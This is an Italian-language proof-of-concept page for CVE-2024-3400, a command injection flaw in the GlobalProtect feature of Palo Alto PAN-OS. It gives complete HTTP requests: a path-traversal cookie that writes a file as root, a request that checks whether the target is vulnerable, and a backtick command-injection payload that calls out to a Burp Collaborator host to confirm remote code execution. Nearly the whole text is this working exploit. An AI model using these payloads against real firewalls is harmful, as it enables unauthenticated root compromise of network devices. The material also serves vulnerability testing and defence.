
CVE-2024-3400 PAN-OS: vulnerabilità di iniezione di comandi del sistema operativo in GlobalProtect
CVE-2024-3400 Palo Alto OS Command Injection
Descrizione del fornitore
Una vulnerabilità di command injection nella funzionalità GlobalProtect del software PAN-OS di Palo Alto Networks per specifiche versioni di PAN-OS e distinte configurazioni di funzionalità può consentire a un attaccante non autenticato di eseguire codice arbitrario con privilegi di root sul firewall.
Un riconoscimento a watchtowr labs 🚀
Richiesta HTTP:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
poc.txt dovrebbe essere creato in questo percorso /var/appweb/sslvpndocs/global-protect/portal/images/poc.tx con privilegi di root.
Se vulnerabile, riceverai un 403 quando accedi a poc.txt invece di 404.
GET /global-protect/portal/images/poc.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
La telemetria deve essere abilitata.
Puoi usare Burp Collaborator per la verifica della RCE.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`hostname${IFS}burpcollaborator.net `;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0